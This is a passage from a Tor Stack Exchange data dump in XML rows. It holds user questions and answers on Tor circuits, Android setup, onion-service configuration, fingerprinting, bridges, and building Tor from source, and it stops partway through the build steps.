  <row Id="22490" PostTypeId="1" CreationDate="2021-07-03T15:07:47.530" Score="2" ViewCount="35" Body="&lt;p&gt;If, within the Tor Browser, I'm visiting &lt;code&gt;a.com&lt;/code&gt;, and the loaded website does an AJAX query to b.com, will the AJAX query use the circuit established for &lt;code&gt;a.com&lt;/code&gt;, or will the browser establish a new circuit for &lt;code&gt;b.com&lt;/code&gt; and then do the AJAX query using that new circuit?&lt;/p&gt;&#xA;&lt;p&gt;In case the first question is true, and I disable proxying 127.0.0.1 through Tor, and I visit my local server at 127.0.0.1, and the loaded localhost website does an AJAX query to b.com, will that AJAX query to b.com use my public IP?&lt;/p&gt;&#xA;&lt;p&gt;NOTE: I'm not sure if by circuit I really mean route.&lt;/p&gt;&#xA;" OwnerUserId="32788" LastEditorUserId="32788" LastEditDate="2021-07-03T15:14:16.393" LastActivityDate="2021-08-04T02:00:25.053" Title="Does cross-site AJAX queries use the same circuit established for the origin domain?" Tags="|circuit|javascript|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22491" PostTypeId="1" CreationDate="2021-07-04T21:52:42.757" Score="0" ViewCount="215" Body="&lt;p&gt;I'm pretty new to the community. A &amp;quot;Tor&amp;quot; circuit usually consists of an entry guard, a middle node and an exit.&lt;/p&gt;&#xA;&lt;p&gt;I know that it's possible to change the entry guard manually, but can you also change every part of the connection manually?&lt;/p&gt;&#xA;&lt;p&gt;I really don't know.&lt;/p&gt;&#xA;" OwnerUserId="32793" LastActivityDate="2022-04-01T04:03:40.340" Title="Is it possible to completely control your Tor circuit?" Tags="|circuit|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22492" PostTypeId="2" ParentId="22491" CreationDate="2021-07-04T22:50:59.340" Score="0" Body="&lt;p&gt;Yes, using Tor control protocol you can create the streams by hand. I suggest using Stem library to speed the things up - but it's basically a Telnet one, so you can even write your own wrappers for your particular task(I'm doing it myself - it's harder and slower, but as for me it's worth it's efforts applied).&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2021-07-04T22:50:59.340" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22493" PostTypeId="2" ParentId="20418" CreationDate="2021-07-04T22:52:36.880" Score="0" Body="&lt;p&gt;Theoretically - it can &lt;em&gt;help&lt;/em&gt; in deanonymizing you, but it can't do it just off the shelf. To do so you have to log all the chain members&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2021-07-04T22:52:36.880" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22494" PostTypeId="2" ParentId="20885" CreationDate="2021-07-04T22:54:41.140" Score="0" Body="&lt;p&gt;Tor is not a website hosting: it &lt;em&gt;pipelines&lt;/em&gt; your query to the actual server that serves it, so - the layer of additional security is an onion routing, &lt;strong&gt;nothing more&lt;/strong&gt;! You have to secure your website yourself &lt;strong&gt;regardless&lt;/strong&gt; of the connection path to it.&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2021-07-04T22:54:41.140" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22495" PostTypeId="2" ParentId="22490" CreationDate="2021-07-04T22:56:54.163" Score="1" Body="&lt;p&gt;first part: no, they will not be going separately, because the browser(a tweaked Firefox = Tor browser) can not know what to separate from what.&lt;/p&gt;&#xA;&lt;p&gt;second part: it depends on the browser you're using. For true firefox use FoxyProxy add-on to route all the things properly&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2021-07-04T22:56:54.163" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22496" PostTypeId="2" ParentId="21213" CreationDate="2021-07-04T23:00:39.493" Score="0" Body="&lt;p&gt;Usually - no, but in rare &lt;strong&gt;insecure&lt;/strong&gt; cases - yes. The service hardening is basically the service owner's sole task. For Tor the website, SSH, VPN or anything else is basically a tunnel. So - use latest TLS and if you need more security - a client and server certificates served &lt;em&gt;separately&lt;/em&gt; and off the Tor network: EmerCoin is a great alternative to do so easily, but it can be done in a numerous ways.&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2021-07-04T23:00:39.493" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22497" PostTypeId="1" CreationDate="2021-07-05T09:06:09.790" Score="1" ViewCount="380" Body="&lt;p&gt;Sorry if this is a stupid question but I couldn't find any information about this on the internet. When I read the keys generated by mkp224o I get a bunch of weird characters starting with &lt;code&gt;|== ed25519v1-sec|&lt;/code&gt;. I'm trying to use an external library in my program to read my Tor private key (I have a vanity address that I can't regenerate) that requires the key to be in a format similar to &lt;code&gt;7d8ce6951efa7d471f6109e3b16d1a02382fc2e01843df3ed44226c27e3a1733h&lt;/code&gt; (see &lt;a href=&quot;https://pkg.go.dev/golang.org/x/crypto/ed25519#PrivateKey&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://pkg.go.dev/golang.org/x/crypto/ed25519#PrivateKey&lt;/a&gt;). Is this still possible with mkp224o after I generated &lt;code&gt;hs_ed25519_secret_key&lt;/code&gt;)?&lt;/p&gt;&#xA;" OwnerUserId="32794" LastActivityDate="2021-07-29T09:06:23.870" Title="How to convert a private key generated with mkp224o to the regular ed22419 format?" Tags="|address|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22499" PostTypeId="1" CreationDate="2021-07-05T23:48:12.143" Score="2" ViewCount="793" Body="&lt;p&gt;I am in the process of getting TOR browser installed &amp;amp; setup on an LG Android phone. Here is what I've done so far...&lt;/p&gt;&#xA;&lt;p&gt;I was first using Orbot &amp;amp; Inbrowser, but for various reasons I have decided to go with the full fledged TOR setup.&lt;/p&gt;&#xA;&lt;p&gt;After reading ~6 articles and ~3 videos, to see what my options are currently, I have come to the following conclusions. Please correct me if I'm wrong...&lt;/p&gt;&#xA;&lt;p&gt;A video titled 'How to use TOR browser Part1 (by the HatedOne / 11:45) seems to be the current way to setup &amp;amp; install TOR on an Android. I say this because the video content agrees so far with what little I have seen &amp;amp; done. The notes that I have taken on the video are below:&lt;/p&gt;&#xA;&lt;p&gt;When opening &amp;amp; setting up the TOR browser for the first time, select as many default settings as possible (~everything except maybe Javascript).&lt;/p&gt;&#xA;&lt;p&gt;To remain reasonably anonymous, javascript MUST be disabled. Do this by changing the security level to 'safer' or 'safest' mode. It's HIGHLY recommended not to change any other settings (~3:10-~3:20). The 'No script' extension allows you to manually configure which scripts can run, and which are blocked (~4:00).&lt;/p&gt;&#xA;&lt;p&gt;The 'brush' icon (top-right screen) saves Js settings VS closing the browser entirely, which does not save previous settings.&lt;/p&gt;&#xA;&lt;p&gt;(~5:30+) Set HTTPS EVERYWHERE to 'block all unencrypted connections. Then later, trusted connections can be unblocked manually.&lt;/p&gt;&#xA;&lt;p&gt;(~6:15+) The TOR circuit button. Click on the 'lock' icon in the URL bar, to display the relays in your circuit. Sometimes your circuit may be too slow, or you may want to change your exit node. This can sometimes solve the problem of your page being in a foreign language of the exit node that you're using.&lt;/p&gt;&#xA;&lt;p&gt;TOR is just a tool. It can be very secure, but if good OpSec rules are not heeded, your anonymity can become very easily conspicuous.  Here're some things to keep in mind (~7:15)...&lt;/p&gt;&#xA;&lt;ol start=&quot;0&quot;&gt;&#xA;&lt;li&gt;&lt;p&gt;Do NOT use personal accounts that are associated with your real identity. The more general rule is not to use accounts on TOR at all, because accounts are data points that can create links over a long enough period of time. However, you can have anonymous accounts that do NOT link to anything in your real life. Overall, this means no real: phone numbers, names or initials, or links to your real IP address.  And if you use a pseudonym on TOR, and then mention it outside of the TOR network, you ARE compromised (7:45).&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Do NOT change TOR settings. No addons or plugins (They can track you). No full screen resolution (this can ID your device).Any customizations are sketchy (They make you stand out from the crowd &amp;amp; ID you). Only advanced security settings can be changed, IF you know your shit.  (8:00).&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Do NOT dicuss personal info. Hobbies, location, profession, pet names, photos, screenshots, opinions &amp;amp; activities, career, qualifications, background, aquaintances, configuration logs, hardware, software, devices (ie- routers, IoT) (8:35)...&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Use end to end encryption. TOR is good, but not magic. TOR only encrypts data between relays. Exit nodes can collect unencrypted data, just like anyone else. If the URL lock (address bar) is green, you're good. If it's red, you're screwed. Also make sure you can trust or verify that the encryption on the server itself has not been compromised (9:20).&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Know your shit about surveillance capabilities. IE- a script on your phone can continuously emit inaudible sounds that can be picked up by a computer's mic. If a website runs a script like that, it can link your browser session to your phone's ID. If you run 2 such scripts, 1 over TOR &amp;amp; the other over clear net, then your anonymous session can be linked to your real identity.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;If you watch an iPhone review video on TOR via the youtube app, and then turnaround &amp;amp; use  Google (via clearnet) to search that specific product, those 2 activities can almost certainly be linked to your identity. Google-like trackers can do all sorts of nasty tricks to find your true identity. So, comparmentalize what you do, &amp;amp; whos services you use. If you make 2 connections (1 anon &amp;amp; 1 non-anon) to a server at the same time, you're screwed. To avoid these pitfalls, it's best not to do anything else when using TOR.&lt;/p&gt;&#xA;&lt;ol start=&quot;5&quot;&gt;&#xA;&lt;li&gt;Mitigate system vulnerabilities. TOR is only as strong as its weakest link. TOR cannot protect you on a compromised hardware or OS (10:45). If there is malware with root privilages on your phone or laptop, then no tool can save you (11:00).&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;There are my notes from the video. As of now, I have downloaded TOR from the Google Play Store. But I have not used it yet, because I want to find a more  definitive answer before I take the plunge. There are still ~ 6-12 videos that I want to watch, but I halted any more research &amp;amp; decided to start asking after my findings started becoming inconsistent &amp;amp; a bit confusing. See, I started watching videos first. That's when I seen the one mentioned above (TheHatedOne). But after reading the last several articles about setting up TOR, I started to wonder if I might be heading in the wrong direction. I was of the impression that I just need to install the browser from the Play Store &amp;amp; then run &amp;amp; configure it a little. But some writings say that I should get an Orbot &amp;amp; Orfox combo &amp;amp; install TOR that way. It wasn't until after about the 3rd artical mentioned the Orbot &amp;amp; Orfox combo that I started to notice that those articles seemed dated &amp;amp; maybe obsolete. Another article even mentioned Orwall. So, I am just wanting to narrow down my choices before I continue. Which method should I opt for?&lt;/p&gt;&#xA;" OwnerUserId="32802" LastEditorUserId="24966" LastEditDate="2021-07-08T21:42:15.330" LastActivityDate="2021-07-29T09:39:04.290" Title="Is this the most current way of setting up TOR on Android?" Tags="|configuration|tor-install|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22500" PostTypeId="1" CreationDate="2021-07-08T21:04:32.923" Score="0" ViewCount="199" Body="&lt;p&gt;I am trying to create a hidden service in TOR this due to learning reasons.&lt;/p&gt;&#xA;&lt;p&gt;It all seems to work fine when I want to use this normally with HTML.&lt;/p&gt;&#xA;&lt;p&gt;But as soon as I want to install a dynamic web application such as the open source forum software PHPBB comes instead:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;http://ONIONURL.onion/install/app.php&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;So with &lt;code&gt;8080&lt;/code&gt; and it doesn't work like that:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;http://ONIONURL.onion:8080/install/app.php&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&lt;strong&gt;My Setup is:&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;phpBB 3.3.4&lt;/li&gt;&#xA;&lt;li&gt;VPS Cloud Server with 8 GB Ram&lt;/li&gt;&#xA;&lt;li&gt;PHP 7.3 (fpm) with extensions&lt;/li&gt;&#xA;&lt;li&gt;MariaDB Newest Version&lt;/li&gt;&#xA;&lt;li&gt;Chmod correctly&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;&lt;strong&gt;My Nginx conf:&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;server {&#xA;    listen 127.0.0.1:8080 default_server;&#xA;    server_name localhost;&#xA;&#xA;    root /var/hiddenwww;&#xA;    index index.php index.html index.htm;&#xA;    server_tokens off;&#xA;&#xA;    location / {&#xA;        allow 127.0.0.1;&#xA;        deny all;&#xA;        try_files $uri $uri/ /index.php?$args;&#xA;    }&#xA;&#xA;    location ~ \.php$ {&#xA;        try_files $uri =404;&#xA;        fastcgi_split_path_info ^(.+\.php)(/.+)$;&#xA;        fastcgi_pass unix:/var/run/php/php7.3-fpm.sock;&#xA;        fastcgi_index index.php;&#xA;        fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;&#xA;        include fastcgi_params;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I have already tried many variants in the config.&lt;/p&gt;&#xA;&lt;p&gt;I'm really lost and maybe someone had the problem and can help me.&lt;/p&gt;&#xA;&lt;p&gt;By the way, I was inspired by &lt;a href=&quot;https://gitlab.com/worldofmatthew/automatic-tor-nginx/raw/master/tornginx.sh&quot; rel=&quot;nofollow noreferrer&quot;&gt;this tutorial&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="32829" LastEditorUserId="31632" LastEditDate="2021-07-14T16:37:06.177" LastActivityDate="2021-12-26T11:05:50.577" Title="When the domain is called, port 8080 is attached?" Tags="|tor-browser-bundle|configuration|onion-services|torsocks|tor-install|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="22502" PostTypeId="1" AcceptedAnswerId="22505" CreationDate="2021-07-11T00:03:15.687" Score="0" ViewCount="308" Body="&lt;p&gt;By using a good bridge, it is more difficult for your ISP to detect that you are using Tor which can slightly improve your anonymity. I know it can slow down your connection speed, but with the benefit mentioned above, should you do this?&lt;/p&gt;&#xA;" OwnerUserId="31632" LastActivityDate="2021-07-11T19:39:16.227" Title="Using a bridge even if Tor isn't blocked" Tags="|tor-browser-bundle|anonymity|bridge|internet-service-provider|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22503" PostTypeId="1" CreationDate="2021-07-11T12:43:34.377" Score="5" ViewCount="3496" Body="&lt;p&gt;I'm using the tor browser version 10.5.2 in whonix 15, everything works, except that I cannot save logins in the tor browser because every time I try to setup a master password, a popup window appears, throwing me the following message : Unable to change Master Password.&lt;/p&gt;&#xA;&lt;p&gt;Now I tried several things, which didn't work out :&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Disabling Tor private browsing mode and setting it to Remember history. (I disabled it via: Preferences &amp;gt; Privacy &amp;amp; Security &amp;gt; History &amp;gt; Tor Browser will &amp;gt; Remember history).&lt;/li&gt;&#xA;&lt;li&gt;Setting security.nocertdb to false (which was set to false by default, so I didn't have to toggle it).&lt;/li&gt;&#xA;&lt;li&gt;Restarted the browser&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;Any idea on how I might be able set this Master Password ?&lt;/p&gt;&#xA;&lt;p&gt;PS: I know it's generally a bad idea to store passwords in the embedded password manager of browsers, but this particular browser is isolated in a whonix VM, which can only connect to the .onion site of my email provider. So I won't be searching the internet with this browser or doing anything else than accessing one unique website. That said, I have carefully thought about the reason why I want to do this, so please don't bother advising me otherwise.&lt;/p&gt;&#xA;" OwnerUserId="32843" LastEditorUserId="88" LastEditDate="2022-09-22T21:20:44.363" LastActivityDate="2022-09-22T21:20:44.363" Title="Can't set master password in the tor browser" Tags="|tor-browser-bundle|firefox|whonix|browsers|" AnswerCount="2" CommentCount="5" FavoriteCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22504" PostTypeId="1" CreationDate="2021-07-11T16:25:47.620" Score="3" ViewCount="237" Body="&lt;p&gt;Is it safe to use Node.js as the backend language of a hidden service?&lt;/p&gt;&#xA;&lt;p&gt;Or is it a poor choice when compared to languages such as PHP and/or Python?&lt;/p&gt;&#xA;" OwnerUserId="32845" LastEditorUserId="20534" LastEditDate="2021-07-12T14:56:36.010" LastActivityDate="2021-07-12T14:56:36.010" Title="Node.js in a hidden service?" Tags="|configuration|onion-services|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22505" PostTypeId="2" ParentId="22502" CreationDate="2021-07-11T19:39:16.227" Score="1" Body="&lt;p&gt;In case you want to protect your communication from your ISP, the best practice would be to use Tor over VPN.&lt;/p&gt;&#xA;&lt;p&gt;A VPN establishes an encrypted tunnel between your device and the VPN server, concealing your true IP address and your activities from your ISP and any hackers or malicious individuals who might be monitoring the network.&lt;/p&gt;&#xA;&lt;p&gt;Using Tor with a VPN gives you an extra layer of privacy because the VPN encryption prevents the Tor entry node (the Tor server where you enter the hidden network) from seeing your IP address. A compromised Tor entry node is one common way for an attacker to try to break Tor’s anonymity. The VPN will encrypt some Internet traffic that Tor does not support, like ICMP traffic. It also prevents your ISP from knowing you are connecting to Tor.&lt;/p&gt;&#xA;&lt;p&gt;However, there are also disadvantages of using Tor over VPN. While many VPNs support both TCP and UDP traffic, Tor only supports TCP. You must also use a VPN service you trust because the VPN server will be able to see your true IP address. VPN trust means using a reputable VPN service that does not keep logs of your activity and does not serve ads or malware. It’s also important to know what a VPN can and cannot protect against.&lt;/p&gt;&#xA;&lt;p&gt;If you would like to learn more about this topic, here are some references:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://cybernews.com/what-is-vpn/tor-over-vpn/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://cybernews.com/what-is-vpn/tor-over-vpn/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://protonvpn.com/blog/tor-vpn/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://protonvpn.com/blog/tor-vpn/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://surfshark.com/blog/tor-over-vpn&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://surfshark.com/blog/tor-over-vpn&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.comparitech.com/blog/vpn-privacy/onion-over-vpn/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.comparitech.com/blog/vpn-privacy/onion-over-vpn/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="20534" LastActivityDate="2021-07-11T19:39:16.227" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="22506" PostTypeId="2" ParentId="22504" CreationDate="2021-07-11T19:52:54.157" Score="3" Body="&lt;p&gt;None of the 3 languages is perfectly safe. All of them have vulnerabilities that if an application is not developed following good programming practices, they can allow an attacker to exploit different weak points and gain access to the application and its data.&lt;/p&gt;&#xA;&lt;p&gt;You can use any language you want, but you have to consider checking your application to see if it has vulnerabilities (you can use OWASP Testing Guide), here are some references that you may find useful, I selected references for the 3 languages you mentioned above.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;PHP:&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.wordfence.com/learn/understanding-php-vulnerabilities/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.wordfence.com/learn/understanding-php-vulnerabilities/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.sitepoint.com/top-10-php-security-vulnerabilities/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.sitepoint.com/top-10-php-security-vulnerabilities/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://medium.com/@pentster/high-risk-vulnerabilities-in-php-web-applications-a38a75627a75&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://medium.com/@pentster/high-risk-vulnerabilities-in-php-web-applications-a38a75627a75&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;&lt;strong&gt;NodeJS:&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://keenethics.com/blog/nodejs-security&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://keenethics.com/blog/nodejs-security&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.synopsys.com/blogs/software-security/nodejs-mean-stack-vulnerabilities/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.synopsys.com/blogs/software-security/nodejs-mean-stack-vulnerabilities/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://cheatsheetseries.owasp.org/cheatsheets/Nodejs_Security_Cheat_Sheet.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://cheatsheetseries.owasp.org/cheatsheets/Nodejs_Security_Cheat_Sheet.html&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;&lt;strong&gt;Python:&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://stackabuse.com/checking-vulnerabilities-in-your-python-code-with-bandit&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://stackabuse.com/checking-vulnerabilities-in-your-python-code-with-bandit&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://itnext.io/common-python-security-problems-ffedbae7b11c&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://itnext.io/common-python-security-problems-ffedbae7b11c&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.tripwire.com/state-of-security/vulnerability-management/digging-for-security-bugs-vulnerabilities-in-python-applications/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.tripwire.com/state-of-security/vulnerability-management/digging-for-security-bugs-vulnerabilities-in-python-applications/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="20534" LastActivityDate="2021-07-11T19:52:54.157" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22507" PostTypeId="1" AcceptedAnswerId="22509" CreationDate="2021-07-11T22:09:35.310" Score="0" ViewCount="254" Body="&lt;p&gt;I was reading the &lt;a href=&quot;https://svn-archive.torproject.org/svn/projects/design-paper/tor-design.html#tth_sEc5.2&quot; rel=&quot;nofollow noreferrer&quot;&gt;svn-archive (Section 5.2)&lt;/a&gt; to understand how a .onion address is generated.&lt;/p&gt;&#xA;&lt;p&gt;From my understanding, the &amp;quot;x.y.onion&amp;quot; address, comprises 'x' as 'the authorization cookie', and 'y' as the 'hash of the [onion service] public key'.&lt;/p&gt;&#xA;&lt;p&gt;I understand that the 'y' part as the onion service is the key for the indexed information on the Tor lookup service, but I don't understand what the 'x' part does.&lt;/p&gt;&#xA;&lt;p&gt;What is the purpose of the 'x' part--or 'authorization cookie'--in the client's URL bar? Where does it go? What does it do? Why do we need it?&lt;/p&gt;&#xA;&lt;p&gt;Thank you for taking your time to read this. This is really confusing me.&lt;/p&gt;&#xA;" OwnerUserId="32849" LastEditorUserId="32849" LastEditDate="2021-07-11T22:55:23.937" LastActivityDate="2021-07-12T02:53:17.453" Title="What is the authorization cookie of a .onion address?" Tags="|onion-services|directory|client|url|address|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22508" PostTypeId="1" CreationDate="2021-07-11T23:41:14.450" Score="2" ViewCount="155" Body="&lt;p&gt;Tor Browser is using letterboxing to prevent &lt;a href=&quot;https://support.torproject.org/tbb/maximized-torbrowser-window/&quot; rel=&quot;nofollow noreferrer&quot;&gt;fingerprinting by screen size&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Now, I have done a test on &lt;a href=&quot;https://coveryourtracks.eff.org&quot; rel=&quot;nofollow noreferrer&quot;&gt;Cover Your Tracks website from EFF&lt;/a&gt; and the results show a unique fingerprint and the reason for that is a Window Size of &lt;code&gt;1099x999&lt;/code&gt;. Shouldn't it be &lt;code&gt;1100x1000&lt;/code&gt; instead?&lt;/p&gt;&#xA;&lt;p&gt;Edit: My OS &lt;strong&gt;did not&lt;/strong&gt; do the window resize &amp;quot;to fit on screen&amp;quot;, and even if it did, the letterboxing should put black borders on the sides so websites can not see the screen size.&lt;/p&gt;&#xA;&lt;p&gt;Edit 2: It is issue &lt;a href=&quot;https://gitlab.torproject.org/tpo/applications/tor-browser/-/issues/40081&quot; rel=&quot;nofollow noreferrer&quot;&gt;40081&lt;/a&gt;, i am using a high dpi screen. Thank you Peter Gerber for answering!&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/edsBa.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/edsBa.png&quot; alt=&quot;Screen size fingerprint result&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="32850" LastEditorUserId="-1" LastEditDate="2021-08-21T02:31:31.070" LastActivityDate="2021-08-21T02:31:31.070" Title="Resolution to prevent fingerprinting 1 pixel off?" Tags="|tor-browser-bundle|fingerprinting|panopticlick|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22509" PostTypeId="2" ParentId="22507" CreationDate="2021-07-12T02:53:17.453" Score="0" Body="&lt;p&gt;The document that you're reading is the original Tor paper from around 2004. It's still useful for getting a basic understanding of the network, but a lot of the specifics have changed.&lt;/p&gt;&#xA;&lt;p&gt;The &amp;quot;authorization cookie&amp;quot; that it refers to acts as a client password. The hidden service can require that the client provide this cookie in order to allow them to access the service (if the client doesn't know this cookie, then they can't access the service). This authorization cookie is &lt;em&gt;optional&lt;/em&gt;, and you can read more about it for old v2 services under the &lt;code&gt;HidServAuth&lt;/code&gt; option in the tor manual.&lt;/p&gt;&#xA;&lt;p&gt;In the current Tor network which uses v3 onion services, this cookie works a bit differently, and it's not used as part of the FQDN. You can read more about how it's used under the &lt;code&gt;CLIENT AUTHORIZATION&lt;/code&gt; section in the tor manual, and on the &lt;a href=&quot;https://community.torproject.org/onion-services/advanced/client-auth/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Tor Project website&lt;/a&gt;. The technical details are scattered throughout the &lt;a href=&quot;https://github.com/torproject/torspec/blob/main/rend-spec-v3.txt&quot; rel=&quot;nofollow noreferrer&quot;&gt;&amp;quot;rend-spec-v3&amp;quot; document&lt;/a&gt; (just search for &amp;quot;client auth&amp;quot;).&lt;/p&gt;&#xA;&lt;p&gt;If you're interested in how modern v3 onion service names are generated, you will want to read Section 6 &amp;quot;[ONIONADDRESS]&amp;quot; of the &lt;a href=&quot;https://github.com/torproject/torspec/blob/main/rend-spec-v3.txt&quot; rel=&quot;nofollow noreferrer&quot;&gt;&amp;quot;rend-spec-v3&amp;quot; document&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="24966" LastActivityDate="2021-07-12T02:53:17.453" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="22510" PostTypeId="1" AcceptedAnswerId="22511" CreationDate="2021-07-12T09:24:31.030" Score="0" ViewCount="1977" Body="&lt;p&gt;I want to build &lt;code&gt;Tor&lt;/code&gt; from source code. Also, I was wondering if this source builds just the Tor service, or it includes the Tor Browser itself?&lt;/p&gt;&#xA;&lt;p&gt;If not, how can the &lt;code&gt;Tor&lt;/code&gt; service that I built and installed be attached to any browser in my computer (e.g. Firefox or Chrome)?&lt;/p&gt;&#xA;" OwnerUserId="31584" LastEditorUserId="31584" LastEditDate="2021-07-17T16:17:52.327" LastActivityDate="2021-07-17T16:17:52.327" Title="How to build and install Tor from the source code from Git repository?" Tags="|tor-browser-bundle|configuration|tor-install|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="22511" PostTypeId="2" ParentId="22510" CreationDate="2021-07-12T13:01:40.997" Score="1" Body="&lt;p&gt;In case you want to build (compile) and install Tor from source code, you can follow these steps:&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Step 1&lt;/strong&gt;:&lt;/p&gt;&#xA;&lt;p&gt;Install pre-requisites, in this example I used a Debian based GNU Linux distribution:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;sudo apt install -y git build-essential automake libevent-dev libssl-dev zlib1g-dev&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&lt;strong&gt;Step 2&lt;/strong&gt;:&lt;/p&gt;&#xA;&lt;p&gt;Clone Tor from git.torproject.org:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;git clone https://git.torproject.org/tor.git&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&lt;strong&gt;Step 3&lt;/strong&gt;:&lt;/p&gt;&#xA;&lt;p&gt;Enter &lt;code&gt;tor&lt;/code&gt; directory:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;cd tor&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&lt;strong&gt;Step 4&lt;/strong&gt;:&lt;/p&gt;&#xA;&lt;p&gt;Run &lt;code&gt;autogen.sh&lt;/code&gt; to generate all the initial makefiles:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;./autogen.sh&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&lt;strong&gt;Step 